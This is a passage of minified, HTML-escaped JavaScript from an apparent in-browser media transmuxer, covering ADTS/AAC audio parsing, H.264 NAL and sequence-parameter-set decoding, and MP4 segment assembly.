streamTypes)streamTypes.hasOwnProperty(type)&amp;&amp;(m2ts[type]=streamTypes[type]);var _AdtsStream,m2ts_1=m2ts,ONE_SECOND_IN_TS$2=clock_ONE_SECOND_IN_TS$0,ADTS_SAMPLING_FREQUENCIES$1=[96e3,88200,64e3,48e3,44100,32e3,24e3,22050,16e3,12e3,11025,8e3,7350];_AdtsStream=function(handlePartialSegments){var buffer,frameNum=0;_AdtsStream.prototype.init.call(this),this.skipWarn_=function(start,end){this.trigger(&quot;log&quot;,{level:&quot;warn&quot;,message:&quot;adts skiping bytes &quot;+start+&quot; to &quot;+end+&quot; in frame &quot;+frameNum+&quot; outside syncword&quot;})},this.push=function(packet){var frameLength,protectionSkipBytes,oldBuffer,sampleCount,adtsFrameDuration,i=0;if(handlePartialSegments||(frameNum=0),&quot;audio&quot;===packet.type){var skip;for(buffer&amp;&amp;buffer.length?(oldBuffer=buffer,(buffer=new Uint8Array(oldBuffer.byteLength+packet.data.byteLength)).set(oldBuffer),buffer.set(packet.data,oldBuffer.byteLength)):buffer=packet.data;i+7&lt;buffer.length;)if(255===buffer[i]&amp;&amp;240==(246&amp;buffer[i+1])){if(&quot;number&quot;==typeof skip&amp;&amp;(this.skipWarn_(skip,i),skip=null),protectionSkipBytes=2*(1&amp;~buffer[i+1]),frameLength=(3&amp;buffer[i+3])&lt;&lt;11|buffer[i+4]&lt;&lt;3|(224&amp;buffer[i+5])&gt;&gt;5,adtsFrameDuration=(sampleCount=1024*(1+(3&amp;buffer[i+6])))*ONE_SECOND_IN_TS$2/ADTS_SAMPLING_FREQUENCIES$1[(60&amp;buffer[i+2])&gt;&gt;&gt;2],buffer.byteLength-i&lt;frameLength)break;this.trigger(&quot;data&quot;,{pts:packet.pts+frameNum*adtsFrameDuration,dts:packet.dts+frameNum*adtsFrameDuration,sampleCount:sampleCount,audioobjecttype:1+(buffer[i+2]&gt;&gt;&gt;6&amp;3),channelcount:(1&amp;buffer[i+2])&lt;&lt;2|(192&amp;buffer[i+3])&gt;&gt;&gt;6,samplerate:ADTS_SAMPLING_FREQUENCIES$1[(60&amp;buffer[i+2])&gt;&gt;&gt;2],samplingfrequencyindex:(60&amp;buffer[i+2])&gt;&gt;&gt;2,samplesize:16,data:buffer.subarray(i+7+protectionSkipBytes,i+frameLength)}),frameNum++,i+=frameLength}else&quot;number&quot;!=typeof skip&amp;&amp;(skip=i),i++;&quot;number&quot;==typeof skip&amp;&amp;(this.skipWarn_(skip,i),skip=null),buffer=buffer.subarray(i)}},this.flush=function(){frameNum=0,this.trigger(&quot;done&quot;)},this.reset=function(){buffer=void 0,this.trigger(&quot;reset&quot;)},this.endTimeline=function(){buffer=void 0,this.trigger(&quot;endedtimeline&quot;)}},_AdtsStream.prototype=new stream;var ExpGolomb,adts=_AdtsStream;ExpGolomb=function(workingData){var workingBytesAvailable=workingData.byteLength,workingWord=0,workingBitsAvailable=0;this.length=function(){return 8*workingBytesAvailable},this.bitsAvailable=function(){return 8*workingBytesAvailable+workingBitsAvailable},this.loadWord=function(){var position=workingData.byteLength-workingBytesAvailable,workingBytes=new Uint8Array(4),availableBytes=Math.min(4,workingBytesAvailable);if(0===availableBytes)throw new Error(&quot;no bytes available&quot;);workingBytes.set(workingData.subarray(position,position+availableBytes)),workingWord=new DataView(workingBytes.buffer).getUint32(0),workingBitsAvailable=8*availableBytes,workingBytesAvailable-=availableBytes},this.skipBits=function(count){var skipBytes;workingBitsAvailable&gt;count?(workingWord&lt;&lt;=count,workingBitsAvailable-=count):(count-=workingBitsAvailable,count-=8*(skipBytes=Math.floor(count/8)),workingBytesAvailable-=skipBytes,this.loadWord(),workingWord&lt;&lt;=count,workingBitsAvailable-=count)},this.readBits=function(size){var bits=Math.min(workingBitsAvailable,size),valu=workingWord&gt;&gt;&gt;32-bits;return(workingBitsAvailable-=bits)&gt;0?workingWord&lt;&lt;=bits:workingBytesAvailable&gt;0&amp;&amp;this.loadWord(),(bits=size-bits)&gt;0?valu&lt;&lt;bits|this.readBits(bits):valu},this.skipLeadingZeros=function(){var leadingZeroCount;for(leadingZeroCount=0;leadingZeroCount&lt;workingBitsAvailable;++leadingZeroCount)if(0!=(workingWord&amp;2147483648&gt;&gt;&gt;leadingZeroCount))return workingWord&lt;&lt;=leadingZeroCount,workingBitsAvailable-=leadingZeroCount,leadingZeroCount;return this.loadWord(),leadingZeroCount+this.skipLeadingZeros()},this.skipUnsignedExpGolomb=function(){this.skipBits(1+this.skipLeadingZeros())},this.skipExpGolomb=function(){this.skipBits(1+this.skipLeadingZeros())},this.readUnsignedExpGolomb=function(){var clz=this.skipLeadingZeros();return this.readBits(clz+1)-1},this.readExpGolomb=function(){var valu=this.readUnsignedExpGolomb();return 1&amp;valu?1+valu&gt;&gt;&gt;1:-1*(valu&gt;&gt;&gt;1)},this.readBoolean=function(){return 1===this.readBits(1)},this.readUnsignedByte=function(){return this.readBits(8)},this.loadWord()};var _H264Stream,_NalByteStream,PROFILES_WITH_OPTIONAL_SPS_DATA,expGolomb=ExpGolomb;_NalByteStream=function(){var i,buffer,syncPoint=0;_NalByteStream.prototype.init.call(this),this.push=function(data){var swapBuffer;buffer?((swapBuffer=new Uint8Array(buffer.byteLength+data.data.byteLength)).set(buffer),swapBuffer.set(data.data,buffer.byteLength),buffer=swapBuffer):buffer=data.data;for(var len=buffer.byteLength;syncPoint&lt;len-3;syncPoint++)if(1===buffer[syncPoint+2]){i=syncPoint+5;break}for(;i&lt;len;)switch(buffer[i]){case 0:if(0!==buffer[i-1]){i+=2;break}if(0!==buffer[i-2]){i++;break}syncPoint+3!==i-2&amp;&amp;this.trigger(&quot;data&quot;,buffer.subarray(syncPoint+3,i-2));do{i++}while(1!==buffer[i]&amp;&amp;i&lt;len);syncPoint=i-2,i+=3;break;case 1:if(0!==buffer[i-1]||0!==buffer[i-2]){i+=3;break}this.trigger(&quot;data&quot;,buffer.subarray(syncPoint+3,i-2)),syncPoint=i-2,i+=3;break;default:i+=3}buffer=buffer.subarray(syncPoint),i-=syncPoint,syncPoint=0},this.reset=function(){buffer=null,syncPoint=0,this.trigger(&quot;reset&quot;)},this.flush=function(){buffer&amp;&amp;buffer.byteLength&gt;3&amp;&amp;this.trigger(&quot;data&quot;,buffer.subarray(syncPoint+3)),buffer=null,syncPoint=0,this.trigger(&quot;done&quot;)},this.endTimeline=function(){this.flush(),this.trigger(&quot;endedtimeline&quot;)}},_NalByteStream.prototype=new stream,PROFILES_WITH_OPTIONAL_SPS_DATA={100:!0,110:!0,122:!0,244:!0,44:!0,83:!0,86:!0,118:!0,128:!0,138:!0,139:!0,134:!0},_H264Stream=function(){var self,trackId,currentPts,currentDts,discardEmulationPreventionBytes,readSequenceParameterSet,skipScalingList,nalByteStream=new _NalByteStream;_H264Stream.prototype.init.call(this),self=this,this.push=function(packet){&quot;video&quot;===packet.type&amp;&amp;(trackId=packet.trackId,currentPts=packet.pts,currentDts=packet.dts,nalByteStream.push(packet))},nalByteStream.on(&quot;data&quot;,(function(data){var event={trackId:trackId,pts:currentPts,dts:currentDts,data:data,nalUnitTypeCode:31&amp;data[0]};switch(event.nalUnitTypeCode){case 5:event.nalUnitType=&quot;slice_layer_without_partitioning_rbsp_idr&quot;;break;case 6:event.nalUnitType=&quot;sei_rbsp&quot;,event.escapedRBSP=discardEmulationPreventionBytes(data.subarray(1));break;case 7:event.nalUnitType=&quot;seq_parameter_set_rbsp&quot;,event.escapedRBSP=discardEmulationPreventionBytes(data.subarray(1)),event.config=readSequenceParameterSet(event.escapedRBSP);break;case 8:event.nalUnitType=&quot;pic_parameter_set_rbsp&quot;;break;case 9:event.nalUnitType=&quot;access_unit_delimiter_rbsp&quot;}self.trigger(&quot;data&quot;,event)})),nalByteStream.on(&quot;done&quot;,(function(){self.trigger(&quot;done&quot;)})),nalByteStream.on(&quot;partialdone&quot;,(function(){self.trigger(&quot;partialdone&quot;)})),nalByteStream.on(&quot;reset&quot;,(function(){self.trigger(&quot;reset&quot;)})),nalByteStream.on(&quot;endedtimeline&quot;,(function(){self.trigger(&quot;endedtimeline&quot;)})),this.flush=function(){nalByteStream.flush()},this.partialFlush=function(){nalByteStream.partialFlush()},this.reset=function(){nalByteStream.reset()},this.endTimeline=function(){nalByteStream.endTimeline()},skipScalingList=function(count,expGolombDecoder){var j,lastScale=8,nextScale=8;for(j=0;j&lt;count;j++)0!==nextScale&amp;&amp;(nextScale=(lastScale+expGolombDecoder.readExpGolomb()+256)%256),lastScale=0===nextScale?lastScale:nextScale},discardEmulationPreventionBytes=function(data){for(var newLength,newData,length=data.byteLength,emulationPreventionBytesPositions=[],i=1;i&lt;length-2;)0===data[i]&amp;&amp;0===data[i+1]&amp;&amp;3===data[i+2]?(emulationPreventionBytesPositions.push(i+2),i+=2):i++;if(0===emulationPreventionBytesPositions.length)return data;newLength=length-emulationPreventionBytesPositions.length,newData=new Uint8Array(newLength);var sourceIndex=0;for(i=0;i&lt;newLength;sourceIndex++,i++)sourceIndex===emulationPreventionBytesPositions[0]&amp;&amp;(sourceIndex++,emulationPreventionBytesPositions.shift()),newData[i]=data[sourceIndex];return newData},readSequenceParameterSet=function(data){var expGolombDecoder,profileIdc,levelIdc,profileCompatibility,chromaFormatIdc,picOrderCntType,numRefFramesInPicOrderCntCycle,picWidthInMbsMinus1,picHeightInMapUnitsMinus1,frameMbsOnlyFlag,scalingListCount,i,frameCropLeftOffset=0,frameCropRightOffset=0,frameCropTopOffset=0,frameCropBottomOffset=0,sarRatio=[1,1];if(profileIdc=(expGolombDecoder=new expGolomb(data)).readUnsignedByte(),profileCompatibility=expGolombDecoder.readUnsignedByte(),levelIdc=expGolombDecoder.readUnsignedByte(),expGolombDecoder.skipUnsignedExpGolomb(),PROFILES_WITH_OPTIONAL_SPS_DATA[profileIdc]&amp;&amp;(3===(chromaFormatIdc=expGolombDecoder.readUnsignedExpGolomb())&amp;&amp;expGolombDecoder.skipBits(1),expGolombDecoder.skipUnsignedExpGolomb(),expGolombDecoder.skipUnsignedExpGolomb(),expGolombDecoder.skipBits(1),expGolombDecoder.readBoolean()))for(scalingListCount=3!==chromaFormatIdc?8:12,i=0;i&lt;scalingListCount;i++)expGolombDecoder.readBoolean()&amp;&amp;skipScalingList(i&lt;6?16:64,expGolombDecoder);if(expGolombDecoder.skipUnsignedExpGolomb(),0===(picOrderCntType=expGolombDecoder.readUnsignedExpGolomb()))expGolombDecoder.readUnsignedExpGolomb();else if(1===picOrderCntType)for(expGolombDecoder.skipBits(1),expGolombDecoder.skipExpGolomb(),expGolombDecoder.skipExpGolomb(),numRefFramesInPicOrderCntCycle=expGolombDecoder.readUnsignedExpGolomb(),i=0;i&lt;numRefFramesInPicOrderCntCycle;i++)expGolombDecoder.skipExpGolomb();if(expGolombDecoder.skipUnsignedExpGolomb(),expGolombDecoder.skipBits(1),picWidthInMbsMinus1=expGolombDecoder.readUnsignedExpGolomb(),picHeightInMapUnitsMinus1=expGolombDecoder.readUnsignedExpGolomb(),0===(frameMbsOnlyFlag=expGolombDecoder.readBits(1))&amp;&amp;expGolombDecoder.skipBits(1),expGolombDecoder.skipBits(1),expGolombDecoder.readBoolean()&amp;&amp;(frameCropLeftOffset=expGolombDecoder.readUnsignedExpGolomb(),frameCropRightOffset=expGolombDecoder.readUnsignedExpGolomb(),frameCropTopOffset=expGolombDecoder.readUnsignedExpGolomb(),frameCropBottomOffset=expGolombDecoder.readUnsignedExpGolomb()),expGolombDecoder.readBoolean()&amp;&amp;expGolombDecoder.readBoolean()){switch(expGolombDecoder.readUnsignedByte()){case 1:sarRatio=[1,1];break;case 2:sarRatio=[12,11];break;case 3:sarRatio=[10,11];break;case 4:sarRatio=[16,11];break;case 5:sarRatio=[40,33];break;case 6:sarRatio=[24,11];break;case 7:sarRatio=[20,11];break;case 8:sarRatio=[32,11];break;case 9:sarRatio=[80,33];break;case 10:sarRatio=[18,11];break;case 11:sarRatio=[15,11];break;case 12:sarRatio=[64,33];break;case 13:sarRatio=[160,99];break;case 14:sarRatio=[4,3];break;case 15:sarRatio=[3,2];break;case 16:sarRatio=[2,1];break;case 255:sarRatio=[expGolombDecoder.readUnsignedByte()&lt;&lt;8|expGolombDecoder.readUnsignedByte(),expGolombDecoder.readUnsignedByte()&lt;&lt;8|expGolombDecoder.readUnsignedByte()]}sarRatio&amp;&amp;(sarRatio[0],sarRatio[1])}return{profileIdc:profileIdc,levelIdc:levelIdc,profileCompatibility:profileCompatibility,width:16*(picWidthInMbsMinus1+1)-2*frameCropLeftOffset-2*frameCropRightOffset,height:(2-frameMbsOnlyFlag)*(picHeightInMapUnitsMinus1+1)*16-2*frameCropTopOffset-2*frameCropBottomOffset,sarRatio:sarRatio}}},_H264Stream.prototype=new stream;var _AacStream,h264={H264Stream:_H264Stream,NalByteStream:_NalByteStream},ADTS_SAMPLING_FREQUENCIES=[96e3,88200,64e3,48e3,44100,32e3,24e3,22050,16e3,12e3,11025,8e3,7350],parseId3TagSize=function(header,byteIndex){var returnSize=header[byteIndex+6]&lt;&lt;21|header[byteIndex+7]&lt;&lt;14|header[byteIndex+8]&lt;&lt;7|header[byteIndex+9];return returnSize=returnSize&gt;=0?returnSize:0,(16&amp;header[byteIndex+5])&gt;&gt;4?returnSize+20:returnSize+10},getId3Offset=function getId3Offset(data,offset){return data.length-offset&lt;10||data[offset]!==&quot;I&quot;.charCodeAt(0)||data[offset+1]!==&quot;D&quot;.charCodeAt(0)||data[offset+2]!==&quot;3&quot;.charCodeAt(0)?offset:getId3Offset(data,offset+=parseId3TagSize(data,offset))},parseSyncSafeInteger=function(data){return data[0]&lt;&lt;21|data[1]&lt;&lt;14|data[2]&lt;&lt;7|data[3]},utils={isLikelyAacData:function(data){var offset=getId3Offset(data,0);return data.length&gt;=offset+2&amp;&amp;255==(255&amp;data[offset])&amp;&amp;240==(240&amp;data[offset+1])&amp;&amp;16==(22&amp;data[offset+1])},parseId3TagSize:parseId3TagSize,parseAdtsSize:function(header,byteIndex){var lowThree=(224&amp;header[byteIndex+5])&gt;&gt;5,middle=header[byteIndex+4]&lt;&lt;3;return 6144&amp;header[byteIndex+3]|middle|lowThree},parseType:function(header,byteIndex){return header[byteIndex]===&quot;I&quot;.charCodeAt(0)&amp;&amp;header[byteIndex+1]===&quot;D&quot;.charCodeAt(0)&amp;&amp;header[byteIndex+2]===&quot;3&quot;.charCodeAt(0)?&quot;timed-metadata&quot;:!0&amp;header[byteIndex]&amp;&amp;240==(240&amp;header[byteIndex+1])?&quot;audio&quot;:null},parseSampleRate:function(packet){for(var i=0;i+5&lt;packet.length;){if(255===packet[i]&amp;&amp;240==(246&amp;packet[i+1]))return ADTS_SAMPLING_FREQUENCIES[(60&amp;packet[i+2])&gt;&gt;&gt;2];i++}return null},parseAacTimestamp:function(packet){var frameStart,frameSize,frame;frameStart=10,64&amp;packet[5]&amp;&amp;(frameStart+=4,frameStart+=parseSyncSafeInteger(packet.subarray(10,14)));do{if((frameSize=parseSyncSafeInteger(packet.subarray(frameStart+4,frameStart+8)))&lt;1)return null;if(&quot;PRIV&quot;===String.fromCharCode(packet[frameStart],packet[frameStart+1],packet[frameStart+2],packet[frameStart+3])){frame=packet.subarray(frameStart+10,frameStart+frameSize+10);for(var i=0;i&lt;frame.byteLength;i++)if(0===frame[i]){var owner=unescape(function(bytes,start,end){var i,result=&quot;&quot;;for(i=start;i&lt;end;i++)result+=&quot;%&quot;+(&quot;00&quot;+bytes[i].toString(16)).slice(-2);return result}(frame,0,i));if(&quot;com.apple.streaming.transportStreamTimestamp&quot;===owner){var d=frame.subarray(i+1),size=(1&amp;d[3])&lt;&lt;30|d[4]&lt;&lt;22|d[5]&lt;&lt;14|d[6]&lt;&lt;6|d[7]&gt;&gt;&gt;2;return size*=4,size+=3&amp;d[7]}break}}frameStart+=10,frameStart+=frameSize}while(frameStart&lt;packet.byteLength);return null}};(_AacStream=function(){var everything=new Uint8Array,timeStamp=0;_AacStream.prototype.init.call(this),this.setTimestamp=function(timestamp){timeStamp=timestamp},this.push=function(bytes){var bytesLeft,chunk,packet,tempLength,frameSize=0,byteIndex=0;for(everything.length?(tempLength=everything.length,(everything=new Uint8Array(bytes.byteLength+tempLength)).set(everything.subarray(0,tempLength)),everything.set(bytes,tempLength)):everything=bytes;everything.length-byteIndex&gt;=3;)if(everything[byteIndex]!==&quot;I&quot;.charCodeAt(0)||everything[byteIndex+1]!==&quot;D&quot;.charCodeAt(0)||everything[byteIndex+2]!==&quot;3&quot;.charCodeAt(0))if(255!=(255&amp;everything[byteIndex])||240!=(240&amp;everything[byteIndex+1]))byteIndex++;else{if(everything.length-byteIndex&lt;7)break;if(byteIndex+(frameSize=utils.parseAdtsSize(everything,byteIndex))&gt;everything.length)break;packet={type:&quot;audio&quot;,data:everything.subarray(byteIndex,byteIndex+frameSize),pts:timeStamp,dts:timeStamp},this.trigger(&quot;data&quot;,packet),byteIndex+=frameSize}else{if(everything.length-byteIndex&lt;10)break;if(byteIndex+(frameSize=utils.parseId3TagSize(everything,byteIndex))&gt;everything.length)break;chunk={type:&quot;timed-metadata&quot;,data:everything.subarray(byteIndex,byteIndex+frameSize)},this.trigger(&quot;data&quot;,chunk),byteIndex+=frameSize}bytesLeft=everything.length-byteIndex,everything=bytesLeft&gt;0?everything.subarray(byteIndex):new Uint8Array},this.reset=function(){everything=new Uint8Array,this.trigger(&quot;reset&quot;)},this.endTimeline=function(){everything=new Uint8Array,this.trigger(&quot;endedtimeline&quot;)}}).prototype=new stream;var _VideoSegmentStream,_AudioSegmentStream,_Transmuxer,_CoalesceStream,aac=_AacStream,audioProperties=[&quot;audioobjecttype&quot;,&quot;channelcount&quot;,&quot;samplerate&quot;,&quot;samplingfrequencyindex&quot;,&quot;samplesize&quot;],videoProperties=[&quot;width&quot;,&quot;height&quot;,&quot;profileIdc&quot;,&quot;levelIdc&quot;,&quot;profileCompatibility&quot;,&quot;sarRatio&quot;],H264Stream=h264.H264Stream,isLikelyAacData=utils.isLikelyAacData,ONE_SECOND_IN_TS$1=clock_ONE_SECOND_IN_TS$0,retriggerForStream=function(key,event){event.stream=key,this.trigger(&quot;log&quot;,event)},addPipelineLogRetriggers=function(transmuxer,pipeline){for(var keys=Object.keys(pipeline),i=0;i&lt;keys.length;i++){var key=keys[i];&quot;headOfPipeline&quot;!==key&amp;&amp;pipeline[key].on&amp;&amp;pipeline[key].on(&quot;log&quot;,retriggerForStream.bind(transmuxer,key))}},arrayEquals=function(a,b){var i;if(a.length!==b.length)return!1;for(i=0;i&lt;a.length;i++)if(a[i]!==b[i])return!1;return!0},generateSegmentTimingInfo=function(baseMediaDecodeTime,startDts,startPts,endDts,endPts,prependedContentDuration){return{start:{dts:baseMediaDecodeTime,pts:baseMediaDecodeTime+(startPts-startDts)},end:{dts:baseMediaDecodeTime+(endDts-startDts),pts:baseMediaDecodeTime+(endPts-startPts)},prependedContentDuration:prependedContentDuration,baseMediaDecodeTime:baseMediaDecodeTime}};_AudioSegmentStream=function(track,options){var sequenceNumber,adtsFrames=[],earliestAllowedDts=0,audioAppendStartTs=0,videoBaseMediaDecodeTime=1/0;sequenceNumber=(options=options||{}).firstSequenceNumber||0,_AudioSegmentStream.prototype.init.call(this),this.push=function(data){trackDecodeInfo_collectDtsInfo(track,data),track&amp;&amp;audioProperties.forEach((function(prop){track[prop]=data[prop]})),adtsFrames.push(data)},this.setEarliestDts=function(earliestDts){earliestAllowedDts=earliestDts},this.setVideoBaseMediaDecodeTime=function(baseMediaDecodeTime){videoBaseMediaDecodeTime=baseMediaDecodeTime},this.setAudioAppendStart=function(timestamp){audioAppendStartTs=timestamp},this.flush=function(){var frames,moof,mdat,boxes,frameDuration,segmentDuration,videoClockCyclesOfSilencePrefixed;0!==adtsFrames.length?(frames=audioFrameUtils_trimAdtsFramesByEarliestDts(adtsFrames,track,earliestAllowedDts),track.baseMediaDecodeTime=trackDecodeInfo_calculateTrackBaseMediaDecodeTime(track,options.keepOriginalTimestamps),videoClockCyclesOfSilencePrefixed=audioFrameUtils_prefixWithSilence(track,frames,audioAppendStartTs,videoBaseMediaDecodeTime),track.samples=audioFrameUtils_generateSampleTable(frames),mdat=mp4Generator_mdat(audioFrameUtils_concatenateFrameData(frames)),adtsFrames=[],moof=mp4Generator_moof(sequenceNumber,[track]),boxes=new Uint8Array(moof.byteLength+mdat.byteLength),sequenceNumber++,boxes.set(moof),boxes.set(mdat,moof.byteLength),trackDecodeInfo_clearDtsInfo(track),frameDuration=Math.ceil(1024*ONE_SECOND_IN_TS$1/track.samplerate),frames.length&amp;&amp;(segmentDuration=frames.length*frameDuration,this.trigger(&quot;segmentTimingInfo&quot;,generateSegmentTimingInfo(clock_audioTsToVideoTs$0(track.baseMediaDecodeTime,track.samplerate),frames[0].dts,frames[0].pts,frames[0].dts+segmentDuration,frames[0].pts+segmentDuration,videoClockCyclesOfSilencePrefixed||0)),this.trigger(&quot;timingInfo&quot;,{start:frames[0].pts,end:frames[0].pts+segmentDuration})),this.trigger(&quot;data&quot;,{track:track,boxes:boxes}),this.trigger(&quot;done&quot;,&quot;AudioSegmentStream&quot;)):this.trigger(&quot;done&quot;,&quot;AudioSegmentStream&quot;)},this.reset=function(){trackDecodeInfo_clearDtsInfo(track),adtsFrames=[],this.trigger(&quot;reset&quot;)}},_AudioSegmentStream.prototype=new stream,_VideoSegmentStream=function(track,options){var sequenceNumber,config,pps,nalUnits=[],gopsToAlignWith=[];sequenceNumber=(options=options||{}).firstSequenceNumber||0,_VideoSegmentStream.prototype.init.call(this),delete track.minPTS,this.gopCache_=[],this.push=function(nalUnit){trackDecodeInfo_collectDtsInfo(track,nalUnit),&quot;seq_parameter_set_rbsp&quot;!==nalUnit.nalUnitType||config||(config=nalUnit.config,track.sps=[nalUnit.data],videoProperties.forEach((function(prop){track[prop]=config[prop]}),this)),&quot;pic_parameter_set_rbsp&quot;!==nalUnit.nalUnitType||pps||(pps=nalUnit.data,track.pps=[nalUnit.data]),nalUnits.push(nalUnit)},this.flush=function(){for(var frames,gopForFusion,gops,moof,mdat,boxes,firstGop,lastGop,prependedContentDuration=0;nalUnits.length&amp;&amp;&quot;access_unit_delimiter_rbsp&quot;!==nalUnits[0].nalUnitType;)nalUnits.shift();if(0===nalUnits.length)return this.resetStream_(),void this.trigger(&quot;done&quot;,&quot;VideoSegmentStream&quot;);if(frames=frameUtils_groupNalsIntoFrames(nalUnits),(gops=frameUtils_groupFramesIntoGops(frames))[0][0].keyFrame||((gopForFusion=this.getGopForFusion_(nalUnits[0],track))?(prependedContentDuration=gopForFusion.duration,gops.unshift(gopForFusion),gops.byteLength+=gopForFusion.byteLength,gops.nalCount+=gopForFusion.nalCount,gops.pts=gopForFusion.pts,gops.dts=gopForFusion.dts,gops.duration+=gopForFusion.duration):gops=frameUtils_extendFirstKeyFrame(gops)),gopsToAlignWith.length){var alignedGops;if(!(alignedGops=options.alignGopsAtEnd?this.alignGopsAtEnd_(gops):this.alignGopsAtStart_(gops)))return this.gopCache_.unshift({gop:gops.pop(),pps:track.pps,sps:track.sps}),this.gopCache_.length=Math.min(6,this.gopCache_.length),nalUnits=[],this.resetStream_(),void this.trigger(&quot;done&quot;,&quot;VideoSegmentStream&quot;);trackDecodeInfo_clearDtsInfo(track),gops=alignedGops}trackDecodeInfo_collectDtsInfo(track,gops),track.samples=frameUtils_generateSampleTable(gops),mdat=mp4Generator_mdat(frameUtils_concatenateNalData(gops)),track.baseMediaDecodeTime=trackDecodeInfo_calculateTrackBaseMediaDecodeTime(track,options.keepOriginalTimestamps),this.trigger(&quot;processedGopsInfo&quot;,gops.map((function(gop){return{pts:gop.pts,dts:gop.dts,byteLength:gop.byteLength}}))),firstGop=gops[0],lastGop=gops[gops.length-1],this.trigger(&quot;segmentTimingInfo&quot;,generateSegmentTimingInfo(track.baseMediaDecodeTime,firstGop.dts,firstGop.pts,lastGop.dts+lastGop.duration,lastGop.pts+lastGop.duration,prependedContentDuration)),this.trigger(&quot;timingInfo&quot;,{start:gops[0].pts,end:gops[gops.length-1].pts+gops[gops.length-1].duration}),this.gopCache_.unshift({gop:gops.pop(),pps:track.pps,sps:track.sps}),this.gopCache_.length=Math.min(6,this.gopCache_.length),nalUnits=[],this.trigger(&quot;baseMediaDecodeTime&quot;,track.baseMediaDecodeTime),this.trigger(&quot;timelineStartInfo&quot;,track.timelineStartInfo),moof=mp4Generator_moof(sequenceNumber,[track]),boxes=new Uint8Array(moof.byteLength+mdat.byteLength),sequenceNumber++,boxes.set(moof),boxes.set(mdat,moof.byteLength),this.trigger(&quot;data&quot;,{track:track,boxes:boxes}),this.resetStream_(),this.trigger(&quot;done&quot;,&quot;VideoSegmentStream&quot;)},this.reset=function(){this.resetStream_(),nalUnits=[],this.gopCache_.length=0,gopsToAlignWith.length=0,this.trigger(&quot;reset&quot;)},this.resetStream_=function(){trackDecodeInfo_clearDtsInfo(track),config=void 0,pps=void 0},this.getGopForFusion_=function(nalUnit){var dtsDistance,nearestGopObj,currentGop,currentGopObj,i,nearestDistance=1/0;for(i=0;i&lt;this.gopCache_.length;i++)currentGop=(currentGopObj=this.gopCache_[i]).gop,track.pps&amp;&amp;arrayEquals(track.pps[0],currentGopObj.pps[0])&amp;&amp;track.sps&amp;&amp;arrayEquals(track.sps[0],currentGopObj.sps[0])&amp;&amp;(currentGop.dts&lt;track.timelineStartInfo.dts||(dtsDistance=nalUnit.dts-currentGop.dts-currentGop.duration)&gt;=-1e4&amp;&amp;dtsDistance&lt;=45e3&amp;&amp;(!nearestGopObj||nearestDistance&gt;dtsDistance)&amp;&amp;(nearestGopObj=currentGopObj,nearestDistance=dtsDistance));return nearestGopObj?nearestGopObj.gop:null},this.alignGopsAtStart_=function(gops){var alignIndex,gopIndex,align,gop,byteLength,nalCount,duration,alignedGops;for(byteLength=gops.byteLength,nalCount=gops.nalCount,duration=gops.duration,alignIndex=gopIndex=0;alignIndex&lt;gopsToAlignWith.length&amp;&amp;gopIndex&lt;gops.length&amp;&amp;(align=gopsToAlignWith[alignIndex],gop=gops[gopIndex],align.pts!==gop.pts);)gop.pts&gt;align.pts?alignIndex++:(gopIndex++,byteLength-=gop.byteLength,nalCount-=gop.nalCount,duration-=gop.duration);return 0===gopIndex?gops:gopIndex===gops.length?null:((alignedGops=gops.slice(gopIndex)).byteLength=byteLength,alignedGops.duration=duration,alignedGops.nalCount=nalCount,alignedGops.pts=alignedGops[0].pts,alignedGops.dts=alignedGops[0].dts,alignedGops)},this.alignGopsAtEnd_=function(gops){var alignIndex,gopIndex,align,gop,alignEndIndex,matchFound,trimIndex;for(alignIndex=gopsToAlignWith.length-1,gopIndex=gops.length-1,alignEndIndex=null,matchFound=!1;alignIndex&gt;=0&amp;&amp;gopIndex&gt;=0;){if(align=gopsToAlignWith[alignIndex],gop=gops[gopIndex],align.pts===gop.pts){matchFound=!0;break}align.pts&gt;gop.pts?alignIndex--:(alignIndex===gopsToAlignWith.length-1&amp;&amp;(alignEndIndex=gopIndex),gopIndex--)}if(!matchFound&amp;&amp;null===alignEndIndex)return null;if(0===(trimIndex=matchFound?gopIndex:alignEndIndex))return gops;var alignedGops=gops.slice(trimIndex),metadata=alignedGops.reduce((function(total,gop){return total.byteLength+=gop.byteLength,total.duration+=gop.duration,total.nalCount+=gop.nalCount,total}),{byteLength:0,duration:0,nalCount:0});return alignedGops.byteLength=metadata.byteLength,alignedGops.duration=metadata.duration,alignedGops.nalCount=metadata.nalCount,alignedGops.pts=alignedGops[0].pts,alignedGops.dts=alignedGops[0].dts,alignedGops},this.alignGopsWith=function(newGopsToAlignWith){gopsToAlignWith=newGopsToAlignWith}},_VideoSegmentStream.prototype=new stream,_CoalesceStream=function(options,metadataStream){this.numberOfTracks=0,this.metadataStream=metadataStream,void 0!==(options=options||{}).remux?this.remuxTracks=!!options.remux:this.remuxTracks=!0,&quot;boolean&quot;==typeof options.keepOriginalTimestamps?this.keepOriginalTimestamps=options.keepOriginalTimestamps:this.keepOriginalTimestamps=!1,this.pendingTracks=[],this.videoTrack=null,this.pendingBoxes=[],this.pendingCaptions=[],this.pendingMetadata=[],this.pendingBytes=0,this.emittedTracks=0,_CoalesceStream.prototype.init.call(this),this.push=function(output){return output.text?this.pendingCaptions.push(output):output.frames?this.pendingMetadata.push(output):(this.pendingTracks.push(output.track),this.pendingBytes+=output.boxes.byteLength,&quot;video&quot;===output.track.type&amp;&amp;(this.videoTrack=output.track,this.pendingBoxes.push(output.boxes)),void(&quot;audio&quot;===output.track.type&amp;&amp;(this.audioTrack=output.track,this.pendingBoxes.unshift(output.boxes))))}},_CoalesceStream.prototype=new stream,_CoalesceStream.prototype.flush=function(flushSource){var caption,id3,initSegment,i,offset=0,event={captions:[],captionStreams:{},metadata:[],info:{}},timelineStartPts=0;if(this.pendingTracks.length&lt;this.numberOfTracks){if(&quot;VideoSegmentStream&quot;!==flushSource&amp;&amp;&quot;AudioSegmentStream&quot;!==flushSource)return;if(this.remuxTracks)return;if(0===this.pendingTracks.length)return this.emittedTracks++,void(this.emittedTracks&gt;=this.numberOfTracks&amp;&amp;(this.trigger(&quot;done&quot;),this.emittedTracks=0))}if(this.videoTrack?(timelineStartPts=this.videoTrack.timelineStartInfo.pts,videoProperties.forEach((function(prop){event.info[prop]=this.videoTrack[prop]}),this)):this.audioTrack&amp;&amp;(timelineStartPts=this.audioTrack.timelineStartInfo.pts,audioProperties.forEach((function(prop){event.info[prop]=this.audioTrack[prop]}),this)),this.videoTrack||this.audioTrack){for(1===this.pendingTracks.length?event.type=this.pendingTracks[0].type:event.type=&quot;combined&quot;,this.emittedTracks+=this.pendingTracks.length,initSegment=mp4Generator_initSegment(this.pendingTracks),event.initSegment=new 